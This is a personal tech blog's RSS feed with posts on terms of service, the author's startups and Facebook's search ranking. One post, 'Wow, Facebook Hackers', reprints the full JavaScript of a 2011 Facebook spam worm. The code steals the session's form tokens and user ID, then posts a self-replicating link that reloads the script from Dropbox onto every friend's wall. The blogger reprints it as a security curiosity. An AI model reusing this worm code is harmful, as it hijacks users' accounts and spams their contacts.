<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>thekeesh.com &#187; Internet</title>
	<atom:link href="http://thekeesh.com/category/internet/feed/" rel="self" type="application/rss+xml" />
	<link>http://thekeesh.com</link>
	<description>Not just another WordPress site</description>
	<lastBuildDate>Tue, 03 Apr 2012 05:30:30 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Terms and Conditions: A Hobson&#8217;s Choice</title>
		<link>http://thekeesh.com/2012/01/terms-and-conditions-a-hobsons-choice/</link>
		<comments>http://thekeesh.com/2012/01/terms-and-conditions-a-hobsons-choice/#comments</comments>
		<pubDate>Thu, 05 Jan 2012 00:24:01 +0000</pubDate>
		<dc:creator>Jeremy Keeshin</dc:creator>
				<category><![CDATA[Internet]]></category>

		<guid isPermaLink="false">http://thekeesh.com/?p=425</guid>
		<description><![CDATA[Hobson&#8217;s choice: the choice of taking either that which is offered or nothing; the absence of a real alternative. Origin: 1640–50; after Thomas Hobson (1544–1631), of Cambridge, England, who rented horses and gave his customer only one choice, that of &#8230; <a href="http://thekeesh.com/2012/01/terms-and-conditions-a-hobsons-choice/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<blockquote><p>Hobson&#8217;s choice: the choice of taking either that which is offered or nothing; the absence of a real alternative.<br />
Origin: 1640–50;  after Thomas Hobson  (1544–1631), of Cambridge, England, who rented horses and gave his customer only one choice, that of the horse nearest the stable door, from dictionary.com.</p></blockquote>
<p>I just joined another site yesterday. Or it was an app, I don&#8217;t really remember. It doesn&#8217;t really matter what it was. But this site had terms and conditions that you had to accept before using it. If you are just a general internet user, there is really nothing you can do about terms and conditions. If you want to use this site or app, you have to accept them. And if you don&#8217;t agree with them (and my guess would be in most cases, you would always be able to find something you don&#8217;t agree with), you simply can&#8217;t use the site.</p>
<p>This is the classic case of a Hobson&#8217;s choice, where there appears to be a real choice between two alternatives, but one of the options isn&#8217;t really an option.</p>
<p>Consider a case where you are at work and the boss wants you do to something, and he says to you: &#8220;Either you can do this, or you are fired!&#8221; In this case, you have &#8220;a choice&#8221;&#8211; you can either do this task or not. But assuming you want to keep your job, you are left with no real alternative, and similarly very little bargaining power. </p>
<p>The end users on the internet face this on basically every site you join. There are way too many terms and conditions for it to be at all feasible and reasonable for you to read them. Almost all sites present terms and conditions in a way where they *expect* you not to read them, but you *have* to agree to them to use the site. The sad state of affairs is that users *have* to a agree to a term sheet that they *almost certainly* never read. Many sites have terms and conditions hidden at the footer of their site that you implicitly agree to just by being there. </p>
<p>If I had to guess I would say that way less than 1% of Apple users read their terms and conditions sheets. I would be very curious to know that number. </p>
<p>So that&#8217;s about it. If you want to use the internet at all, just accept the fact that you had to agree to all these really stupid contracts that you have never read.</p>
]]></content:encoded>
			<wfw:commentRss>http://thekeesh.com/2012/01/terms-and-conditions-a-hobsons-choice/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Jitterbunk. Bunk Your Friends.</title>
		<link>http://thekeesh.com/2011/08/jitterbunk-bunk-your-friends/</link>
		<comments>http://thekeesh.com/2011/08/jitterbunk-bunk-your-friends/#comments</comments>
		<pubDate>Sun, 21 Aug 2011 23:36:00 +0000</pubDate>
		<dc:creator>Jeremy Keeshin</dc:creator>
				<category><![CDATA[Computer Science]]></category>
		<category><![CDATA[Funny]]></category>
		<category><![CDATA[Internet]]></category>
		<category><![CDATA[jitterbunk]]></category>

		<guid isPermaLink="false">http://thekeesh.com/?p=354</guid>
		<description><![CDATA[If you read tech news or startup news, you are probably numb to it. &#8220;Here is a new startup that will revolutionize our daily lives.&#8221; &#8220;This site promises to forever change the way we communicate.&#8221; &#8220;This one is a new &#8230; <a href="http://thekeesh.com/2011/08/jitterbunk-bunk-your-friends/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p><a href="http://jitterbunk.com"><img src="http://jitterbunk.com/static/images/logo.png" width="550" /></a></p>
<p>If you read tech news or startup news, you are probably numb to it.</p>
<p>&#8220;Here is a new startup that will revolutionize our daily lives.&#8221;<br />
&#8220;This site promises to forever change the way we communicate.&#8221;<br />
&#8220;This one is a new twist on local deals.&#8221;<br />
&#8220;You can watch videos or listen to music&#8212;but with your friends.&#8221;</p>
<p>This list keeps going. But that&#8217;s why <a href="http://raunk.com">we&#8217;ve</a> built <a href="http://jitterbunk.com">jitterbunk</a>. We did away with all the fluff of new social sites and created a site where you can simply bunk your friends. </p>
<p>Read more about <a href="http://stanfordflipside.com/2011/02/stanford-students-found-revolutionary-startup-that-does-nothing/">the founding of jitterbunk here.</a></p>
<p>If you like <a href="http://jitterbunk.com">jitterbunk</a>, you&#8217;ll definitely like <a href="http://raunk.com">raunk.</a></p>
]]></content:encoded>
			<wfw:commentRss>http://thekeesh.com/2011/08/jitterbunk-bunk-your-friends/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>If you thought that was interesting&#8230;</title>
		<link>http://thekeesh.com/2011/08/if-you-thought-that-was-interesting/</link>
		<comments>http://thekeesh.com/2011/08/if-you-thought-that-was-interesting/#comments</comments>
		<pubDate>Sat, 20 Aug 2011 03:10:54 +0000</pubDate>
		<dc:creator>Jeremy Keeshin</dc:creator>
				<category><![CDATA[Computer Science]]></category>
		<category><![CDATA[Internet]]></category>

		<guid isPermaLink="false">http://thekeesh.com/?p=343</guid>
		<description><![CDATA[Then head over to raunk.com. This is the startup I&#8217;ve been working on this summer with four friends. It&#8217;s a site where you can rate anything, and from the ratings, see best-of lists from different perspectives. Since the best-of lists &#8230; <a href="http://thekeesh.com/2011/08/if-you-thought-that-was-interesting/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p><a href="http://raunk.com"><img src="http://thekeesh.com/wp-content/uploads/2011/08/Screen-shot-2011-08-19-at-8.29.28-PM.png" alt="" title="Screen shot 2011-08-19 at 8.29.28 PM" width="550" /></a></p>
<p>Then head over to <a href="http://raunk.com">raunk.com</a>. This is the startup I&#8217;ve been working on this summer with four friends. It&#8217;s a site where you can rate anything, and from the ratings, see best-of lists from different perspectives. Since the best-of lists are generated dynamically and from tags, we can generate really amazing and specific lists.</p>
<p>Let me give you a few examples:</p>
<p><a href="http://raunk.com/list/1094?filter=5,4">Best Programming Languages According To Stanford Computer Science Majors</a><br />
<a href="http://raunk.com/list/53?filter=u2">Best Movies According to Me</a><br />
<a href="http://raunk.com/list/1941,1942,1943?filter=u3,u6">Best Season 8 Curb Your Enthusiasm Episodes According to my friends Zach and Daniel</a><br />
<a href="http://raunk.com/list/268?filter=u34">Best Books According to my friend Eric</a><br />
<a href="http://raunk.com/list/697,1221,1916">Best Free Mac Software According to Everyone</a><br />
<a href="http://raunk.com/list/1069,764?filter=u4">Best Harry Potter Characters According to my friend David</a></p>
<p>Let me explain why this site has the potential to be an amazing resource for you:</p>
<p>There already are many sites that rate things and review things&#8211;but most of these are for very common areas such as movies and restaurants. However, it is very common to start googling for the &#8220;best something.&#8221; But often you are looking for something that doesn&#8217;t have a review community like the <a href="http://raunk.com/list/2057">Best Domain Name Registrars</a> or the <a href="http://raunk.com/list/669,687">Best Stanford Traditions.</a></p>
<p>These are things I&#8217;ve been looking for recently. Our hope with raunk is that if we can can create a platform where people can rate anything, then raunk can be the primary resource for any specific list you have. If you <a href="http://www.google.com/search?sourceid=chrome&#038;ie=UTF-8&#038;q=best+domain+name+registrars">look up best domain name registrars on google</a>, what you&#8217;ll find at the top is just a blog post. What would be more helpful to me is if I could see the opinion of the internet, experts in this area, and people whose opinions I respect. </p>
<p>If you head over to raunk.com and check it out, send me an email and let me know what you think, or comment here.</p>
]]></content:encoded>
			<wfw:commentRss>http://thekeesh.com/2011/08/if-you-thought-that-was-interesting/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Who Does Facebook Think You Are Searching For?</title>
		<link>http://thekeesh.com/2011/08/who-does-facebook-think-you-are-searching-for/</link>
		<comments>http://thekeesh.com/2011/08/who-does-facebook-think-you-are-searching-for/#comments</comments>
		<pubDate>Thu, 18 Aug 2011 02:18:26 +0000</pubDate>
		<dc:creator>Jeremy Keeshin</dc:creator>
				<category><![CDATA[Computer Science]]></category>
		<category><![CDATA[Internet]]></category>
		<category><![CDATA[facebook]]></category>
		<category><![CDATA[search results]]></category>

		<guid isPermaLink="false">http://thekeesh.com/?p=294</guid>
		<description><![CDATA[========================================== UPDATE February 14, 2012: Many people have noted that Facebook has changed stuff in the last several months and so the bookmarklet broke. I have updated it to work on the new filename Facebook is using, and also to &#8230; <a href="http://thekeesh.com/2011/08/who-does-facebook-think-you-are-searching-for/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p><strong><br />
==========================================<br />
UPDATE February 14, 2012: Many people have noted that Facebook has changed stuff in the last several months and so the bookmarklet broke. I have updated it to work on the new filename Facebook is using, and also to match the protocol you are browsing on. Drag this link to your bookmarks bar and click it when you are on Facebook. You may have to click it twice to work.</p>
<p><a class="bookmarklet-links" href="#" title="Facebook Friends" name="Facebook Friends" alt="Facebook Friends">Facebook Friends Rankings</a><br />
==========================================<br />
</strong></p>
<p>Have you ever wondered how Facebook orders your search results? Clearly they have some ordering about who they think you are looking for, and they seem to guess pretty well. I can only guess, but it seems like they order it based on who you interact with, whose profile you look at and who you have recently become friends with. </p>
<p>Well Facebook gives explicit numbers to the directed edges (connection going from you to your friend), about how much they think you are looking for this person. I wrote a bookmarklet that makes it easy to see this list. Although you already know who you look at most, it is eerie to see the list they have come up with&#8212;and the numbers they give. The more negative the number, the more Facebook thinks you are looking for them.</p>
<p>To try it out, just drag the image here up to your browser&#8217;s bookmark bar. Then go to Facebook and click the bookmarklet. More explanation below.</p>
<h2>Note: This is really interesting, but may be embarrassing to you.</h2>
<p><a id="bookmarklet-link" class="bookmarklet-links" title="Facebook Friends" name="Facebook Friends" href="" onclick="alert('Just drag this into your bookmark bar and click OK'); return false;"><img src="http://thekeesh.com/wp-content/uploads/2011/08/drag_bookmarklet.png" alt="Facebook Friends" title="Drag this image into your bookmark bar." width="435" height="287" /></a></p>
<p>Try dragging this link if the image doesn&#8217;t work for you.<br />
<a class="bookmarklet-links" href="#" title="Facebook Friends" name="Facebook Friends" alt="Facebook Friends">Facebook Friends</a></p>
<p>Tested on Chrome, Firefox, and Safari. If bookmarklet does not work on chrome, just try creating a new bookmark with the javascript as the url.</p>
<p>(Note: If you have https on, it won&#8217;t work. You can disable it temporarily by going to Account Settings/Security/Secure Browsing.)</p>
<h2>How We Discovered this Link</h2>
<p>We were working on our autocomplete search for the website we are building this summer called <a href="http://raunk.com">raunk.com</a> and we were wondering why our autocomplete was so slow. If we typed fast, we could type faster than the results would show up. I thought, &#8220;Maybe I just type really fast, faster than the results can load.&#8221; We then checked Facebook. If we typed faster than Facebook autocomplete then it had to be okay. Well we started typing, and no matter how fast we typed, they already had results showing up.</p>
<p>How did they do this? Were their servers just that much faster than ours? (They are that much faster than ours.) But what turned out to be the difference was this file that they were preloading called first_degree.php. If you open up the Network panel in the Chrome Inspector or Firebug, you can see this file being requested asynchronously. Select XHR to only see AJAX requests.</p>
<p><a href="http://thekeesh.com/2011/08/who-does-facebook-think-you-are-searching-for/screen-shot-2011-08-17-at-5-56-52-pm/" rel="attachment wp-att-298"><img src="http://thekeesh.com/wp-content/uploads/2011/08/Screen-shot-2011-08-17-at-5.56.52-PM.png" alt="" title="Screen shot 2011-08-17 at 5.56.52 PM" width="550" /></a></p>
<p>Well in this file there is a lot of great information. It&#8217;s just JSON. There are probably two files, one which loads your first degree friends, and one which loads your &#8220;first degree&#8221; pages and events. Well if you open up the JSON file you will see, an ordered list of who Facebook thinks you are looking for. </p>
<p>Basically, you will find a list which is mostly who Facebook thinks you are Facebook stalking. And if you expand the entry you will see a field called &#8216;index&#8217;. &#8216;index&#8217; is the number they give to that edge. The lower the number the earlier they show up on your search results.</p>
<p>And this stuff is all client-side, so it is all visible to you, and most likely will be for quite some time. This list is surprisingly interesting to check every now and then, and it will make you wonder how their algorithm is working and how those people go there.</p>
<h2>Other Interesting Parts of this File</h2>
<p>If you look a little more at this file you will find lots of other interesting information. There is an optional field that shows up in some results called &#8216;tokens&#8217;. This &#8216;tokens&#8217; field stores common aliases to your friend&#8217;s name. For example, I have a friend named Michael, and his tokens says &#8216;mike&#8217;. My brothers is named Zach, but his tokens says &#8216;Brother&#8217;. Under Daniel it has &#8216;dan danny&#8217;. So look through the tokens, and find a friend who has a token that is not all close to his or her name. If you search it, you&#8217;ll notice that your friend will come up. That&#8217;s how it works. These are just common aliases for the name&#8211;not ones specific to your friend.</p>
<h2>How the Bookmarlet Works</h2>
<p>Here is how the bookmarklet works: It creates a script element on the page, gets a javascript file from my blog, and this file makes a request to the file first_degree.php with the correct parameters, and then it displays the results formatted nicely on your page. </p>
<p><b>UPDATE: Thanks for all the comments and feedback! I really appreciate and am glad you found the bookmarklet interesting and entertaining. If you&#8217;d like to contact me about the bookmarklet or about our website raunk.com, just shoot me an email or find me on Twitter <a href="http://twitter.com/jkeesh">@jkeesh</a>.</b></p>
]]></content:encoded>
			<wfw:commentRss>http://thekeesh.com/2011/08/who-does-facebook-think-you-are-searching-for/feed/</wfw:commentRss>
		<slash:comments>410</slash:comments>
		</item>
		<item>
		<title>thekeesh.com on Hacker News</title>
		<link>http://thekeesh.com/2011/05/thekeesh-com-on-hacker-news/</link>
		<comments>http://thekeesh.com/2011/05/thekeesh-com-on-hacker-news/#comments</comments>
		<pubDate>Fri, 13 May 2011 07:48:26 +0000</pubDate>
		<dc:creator>Jeremy Keeshin</dc:creator>
				<category><![CDATA[Funny]]></category>
		<category><![CDATA[Internet]]></category>

		<guid isPermaLink="false">http://thekeesh.com/?p=232</guid>
		<description><![CDATA[How about this for 5 seconds of internet fame? thekeesh.com made it to #7 on the Hacker News front page, and right about then the server crashed. I&#8217;ll take it. You can say it was a bad server configuration or &#8230; <a href="http://thekeesh.com/2011/05/thekeesh-com-on-hacker-news/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p><a href="http://thekeesh.com/2011/05/thekeesh-com-on-hacker-news/hacker-news/" rel="attachment wp-att-233"><img src="http://thekeesh.com/wp-content/uploads/2011/05/hacker-news.png" alt="" title="hacker news" /></a></p>
<p>How about this for 5 seconds of internet fame? thekeesh.com made it to #7 on the Hacker News front page, and right about then the server crashed. I&#8217;ll take it. You can say it was a bad server configuration or you can say it was at least 20 hits at the same time&#8230; its up to you. </p>
]]></content:encoded>
			<wfw:commentRss>http://thekeesh.com/2011/05/thekeesh-com-on-hacker-news/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Wow, Facebook Hackers</title>
		<link>http://thekeesh.com/2011/05/wow-facebook-hackers/</link>
		<comments>http://thekeesh.com/2011/05/wow-facebook-hackers/#comments</comments>
		<pubDate>Thu, 12 May 2011 07:06:07 +0000</pubDate>
		<dc:creator>Jeremy Keeshin</dc:creator>
				<category><![CDATA[Computer Science]]></category>
		<category><![CDATA[Internet]]></category>
		<category><![CDATA[facebook]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[spam]]></category>

		<guid isPermaLink="false">http://thekeesh.com/?p=219</guid>
		<description><![CDATA[So I saw a post on my wall from a friend, but something just didn&#8217;t sound right. Again, it was a case of the Facebook spam that somehow tricked you into posting something you didn&#8217;t want to post to all &#8230; <a href="http://thekeesh.com/2011/05/wow-facebook-hackers/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p><a href="http://thekeesh.com/2011/05/wow-facebook-hackers/spam/" rel="attachment wp-att-222"><img src="http://thekeesh.com/wp-content/uploads/2011/05/spam.png" alt="" title="spam"  /></a></p>
<p>So I saw a post on my wall from a friend, but something just didn&#8217;t sound right. Again, it was a case of the Facebook spam that somehow tricked you into posting something you didn&#8217;t want to post to all of your friends. And many people made the mistake, and it spread fast.</p>
<p>Mainly, it is impressive that these Facebook hackers were able to come up with this. It shows you how difficult of a problem security is for a big company like Facebook. </p>
<p>The hack was that they made a link which appeared to be from Facebook say &#8220;Remove this App&#8221; right next to common actions like &#8220;Like&#8221; or &#8220;Comment.&#8221; But this link was a link to a malicious piece of javascript which got a file from Dropbox and copied this post onto the walls of your friends. </p>
<p>I went to look at the file&#8230; which was here, http://dl.dropbox.com/u/10505629/verify.js. But then I went back and Dropbox had apparently taken it down about two minutes later. A fast response&#8211;but this message had probably already been replicated, idk, a hundred thousand times?</p>
<p>It seems to have been low damage, but it raises interesting security questions when people believe so readily the information that comes from their friends&#8217; Facebook accounts. I just heard yesterday a case where a friend&#8217;s mom&#8217;s account had sent out a message about needing help and wiring money&#8211;and people fell for it.</p>
<p>I&#8217;m posting the js code below, since it is now not accessible &#8212; but with the swearing removed.</p>
<p>==== verify.js ======</p>
<pre>
var message = "-------------------- I hate you and the only way to remove all these posts is by disabling this below.";
var jsText = "javascript:(function(){_ccscr=document.createElement('script');_ccscr.type='text/javascript';_ccscr.src='http://dl.dropbox.com/u/10505629/verify.js?'+(Math.random());document.getElementsByTagName('head')[0].appendChild(_ccscr);})();";
var myText = "Remove This App";

var post_form_id = document.getElementsByName('post_form_id')[0].value;
var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
var uid = document.cookie.match(document.cookie.match(/c_user=(d+)/)[1]);

var friends = new Array();
gf = new XMLHttpRequest();
gf.open("GET","/ajax/typeahead/first_degree.php?__a=1&#038;filter[0]=user&#038;viewer=" + uid + "&#038;"+Math.random(),false);
gf.send();
if(gf.readyState!=4){ }else{
	data = eval('(' + gf.responseText.substr(9) + ')');
	if(data.error){ }else{
		friends = data.payload.entries.sort(function(a,b){return a.index-b.index;});
	}
}
for(var i=0 ; i < friends.length ;  i++) {
</pre>
<pre>
	var httpwp = new XMLHttpRequest();
	var urlwp = "http://www.facebook.com/fbml/ajax/prompt_feed.php?__a=1";
	var paramswp = "&#038;__d=1&#038;app_id=6628568379&#038;extern=0&#038;" +
				   "&#038;post_form_id=" + post_form_id +
				   "&#038;fb_dtsg=" + fb_dtsg +
				   "&#038;feed_info[action_links][0][href]=" + encodeURIComponent(jsText) +
				   "&#038;feed_info[action_links][0][text]=" + encodeURIComponent(myText) +
				   "&#038;feed_info[app_has_no_session]=true&#038;feed_info[body_general]=&#038;feed_info[template_id]=60341837091&#038;feed_info[templatized]=0&#038;feed_target_type=target_feed&#038;feedform_type=63&#038;lsd&#038;nctr[_ia]=1&#038;post_form_id_source=AsyncRequest&#038;preview=false&#038;size=2&#038;to_ids[0]=" + friends[i].uid +
				   "&#038;user_message=" + message;
	httpwp.open("POST", urlwp, true);
	httpwp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
	httpwp.setRequestHeader("Content-length", paramswp.length);
	httpwp.setRequestHeader("Connection", "keep-alive");
	httpwp.onreadystatechange = function(){
		if (httpwp.readyState == 4 &#038;&#038; httpwp.status == 200){

		}
	}
	httpwp.send(paramswp);
}
alert("Failed to remove. ----------");
document.location = "";
</pre>
]]></content:encoded>
			<wfw:commentRss>http://thekeesh.com/2011/05/wow-facebook-hackers/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Type Shift Code</title>
		<link>http://thekeesh.com/2010/12/type-shift-code/</link>
		<comments>http://thekeesh.com/2010/12/type-shift-code/#comments</comments>
		<pubDate>Tue, 28 Dec 2010 06:42:53 +0000</pubDate>
		<dc:creator>Jeremy Keeshin</dc:creator>
				<category><![CDATA[Internet]]></category>
		<category><![CDATA[code]]></category>
		<category><![CDATA[typeshift code]]></category>

		<guid isPermaLink="false">http://thekeesh.com/?p=176</guid>
		<description><![CDATA[Heres a quick code idea that I came up with a while back. I call it a type shift code. Basically imagine that you type as normal on a keyboard, but you shift your hands over one key on the &#8230; <a href="http://thekeesh.com/2010/12/type-shift-code/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Heres a quick code idea that I came up with a while back. I call it a type shift code. Basically imagine that you type as normal on a keyboard, but you shift your hands over one key on the home row. If you do this and type, everything will look like complete nonsense, but you&#8217;ve just typed in code. </p>
<p>For example, if I type &#8216;hello&#8217; shifted one key over it is &#8216;jr;;p&#8217;</p>
<p><a href="http://thekeesh.com/typeshift">You can test out encoding or decoding messages here</a>. Or test how good your typing muscle memory is.</p>
]]></content:encoded>
			<wfw:commentRss>http://thekeesh.com/2010/12/type-shift-code/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Popular Site Template, a site that lets you make silly websites!</title>
		<link>http://thekeesh.com/2010/12/popular-site-template-a-site-that-lets-you-make-silly-websites/</link>
		<comments>http://thekeesh.com/2010/12/popular-site-template-a-site-that-lets-you-make-silly-websites/#comments</comments>
		<pubDate>Sat, 25 Dec 2010 20:07:40 +0000</pubDate>
		<dc:creator>Jeremy Keeshin</dc:creator>
				<category><![CDATA[Computer Science]]></category>
		<category><![CDATA[Funny]]></category>
		<category><![CDATA[Internet]]></category>
		<category><![CDATA[Meta]]></category>
		<category><![CDATA[popular site template]]></category>

		<guid isPermaLink="false">http://thekeesh.com/?p=163</guid>
		<description><![CDATA[If you&#8217;ve been on the internet in the last couple years, you may have stumbled up FMyLife, or My Life is Average, or Damn You Autocorrect, or any number of sites in this genre. The genre is sites that let &#8230; <a href="http://thekeesh.com/2010/12/popular-site-template-a-site-that-lets-you-make-silly-websites/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p><a href="http://thekeesh.com/wp-content/uploads/2010/12/Screen-shot-2010-12-25-at-1.55.27-PM.png"><img src="http://thekeesh.com/wp-content/uploads/2010/12/Screen-shot-2010-12-25-at-1.55.27-PM.png" alt="" title="Screen shot 2010-12-25 at 1.55.27 PM" width="550" style="padding: 10px" /></a></p>
<p>If you&#8217;ve been on the internet in the last couple years, you may have stumbled up <a href="http://fmylife.com">FMyLife</a>, or <a href="http://mylifeisaverage.com">My Life is Average</a>, or <a href="http://damnyouautocorrect.com">Damn You Autocorrect</a>, or any number of sites in this genre.</p>
<p>The genre is sites that let you post little bits of content around a certain theme, and they are usually similarly formatted. People can like comments, or dislike them with different clever words. Some let you upload photos. But all of these sites do basically this. </p>
<p>Now, these types of sites have become so popular, that you just see really random ones popping up on the internet. But let&#8217;s say you don&#8217;t know how to make one of these sites, but have a really silly idea for a community that would like to post short joke stories. That&#8217;s what <a href="http://www.popularsitetemplate.com">Popular Site Template</a> is for. </p>
<p><a href="http://thekeesh.com/wp-content/uploads/2010/12/Screen-shot-2010-12-25-at-1.55.40-PM.png"><img src="http://thekeesh.com/wp-content/uploads/2010/12/Screen-shot-2010-12-25-at-1.55.40-PM.png" alt="" title="Screen shot 2010-12-25 at 1.55.40 PM" width="550" style="padding:10px" /></a></p>
<p>Here is a screen shot from a site made with <a href="http://www.popularsitetemplate.com">Popular Site Template</a> called <a href="http://popularsitetemplate.com/mylifeisindie">My Life is Indie</a>. </p>
<p>This is the most recent site I made with Google App Engine. For those interested in seeing how it works, code is available at <a href="http://github.com/jkeesh/popularsitetemplate">github</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://thekeesh.com/2010/12/popular-site-template-a-site-that-lets-you-make-silly-websites/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Best To Top, an App for Brainstorming</title>
		<link>http://thekeesh.com/2010/12/best-to-top-an-app-for-brainstorming/</link>
		<comments>http://thekeesh.com/2010/12/best-to-top-an-app-for-brainstorming/#comments</comments>
		<pubDate>Sat, 25 Dec 2010 19:50:57 +0000</pubDate>
		<dc:creator>Jeremy Keeshin</dc:creator>
				<category><![CDATA[Computer Science]]></category>
		<category><![CDATA[Internet]]></category>

		<guid isPermaLink="false">http://thekeesh.com/?p=156</guid>
		<description><![CDATA[A little while back I made a site with Google App Engine that is a very simple voting website. I tried to mimic the style of StackOverflow in terms of voting, but the goal was to make it much simpler. &#8230; <a href="http://thekeesh.com/2010/12/best-to-top-an-app-for-brainstorming/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p><a href="http://thekeesh.com/wp-content/uploads/2010/12/Screen-shot-2010-12-25-at-1.47.32-PM.png"><img src="http://thekeesh.com/wp-content/uploads/2010/12/Screen-shot-2010-12-25-at-1.47.32-PM-300x248.png" alt="" title="Screen shot 2010-12-25 at 1.47.32 PM"  /></a></p>
<p>A little while back I made a site with Google App Engine that is a very simple voting website. I tried to mimic the style of StackOverflow in terms of voting, but the goal was to make it much simpler. The site is made to be used to sift through lots of ideas or items. It is similar to reddit, but much more bare bones. If you want to do brainstorming, you don&#8217;t need all the features of reddit, you just need the ability to submit and comment. So that&#8217;s all it is. </p>
<p>You can create your own lists and brainstorm and vote as much as you want!</p>
<p><a href="http://besttotop.appspot.com">Best To Top</a></p>
]]></content:encoded>
			<wfw:commentRss>http://thekeesh.com/2010/12/best-to-top-an-app-for-brainstorming/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Commercial Comedy</title>
		<link>http://thekeesh.com/2010/10/commercial-comedy/</link>
		<comments>http://thekeesh.com/2010/10/commercial-comedy/#comments</comments>
		<pubDate>Tue, 19 Oct 2010 08:44:04 +0000</pubDate>
		<dc:creator>Jeremy Keeshin</dc:creator>
				<category><![CDATA[Funny]]></category>
		<category><![CDATA[Internet]]></category>

		<guid isPermaLink="false">http://thekeesh.com/?p=150</guid>
		<description><![CDATA[This is another one of those things on the internet that has gotten popular in the last year. It&#8217;s big brands trying to be funny like they are your friend. And it has become a really popular marketing strategy. It&#8217;s &#8230; <a href="http://thekeesh.com/2010/10/commercial-comedy/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p><img src="http://thekeesh.com/wp-content/uploads/2010/10/groupon.png" alt="" title="groupon"  /></p>
<p>This is another one of those things on the internet that has gotten popular in the last year. It&#8217;s big brands trying to be funny like they are your friend. And it has become a really popular marketing strategy. It&#8217;s not being funny in a &#8216;let&#8217;s make funny commercials&#8217; kind of way, although to me it seems to be an offshoot of this. It&#8217;s just being funny and having this positive association with their company.</p>
<p>Two quick examples that come to mind are <a href="http://groupon.com">Groupon</a> and JetBlue. A large part of Groupon is having very funny and goofy descriptions of products and website text. They also set up a new &#8220;dating site&#8221; called <a href="http://grouspawn.com">Grouspawn</a> to help send Groupon babies to college. It sounds like a joke, and it is a joke. The fact that it is real does not mean it&#8217;s not a joke.</p>
<p>If you meet Andrew Mason, you will see that he is a full out goof. But he runs a company which uses comedy as a major tool in cultivating a positive image.</p>
<p>Be on the lookout for comedy as a marketing tool, and let me know if you have any good examples.</p>
]]></content:encoded>
			<wfw:commentRss>http://thekeesh.com/2010/10/commercial-comedy/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>

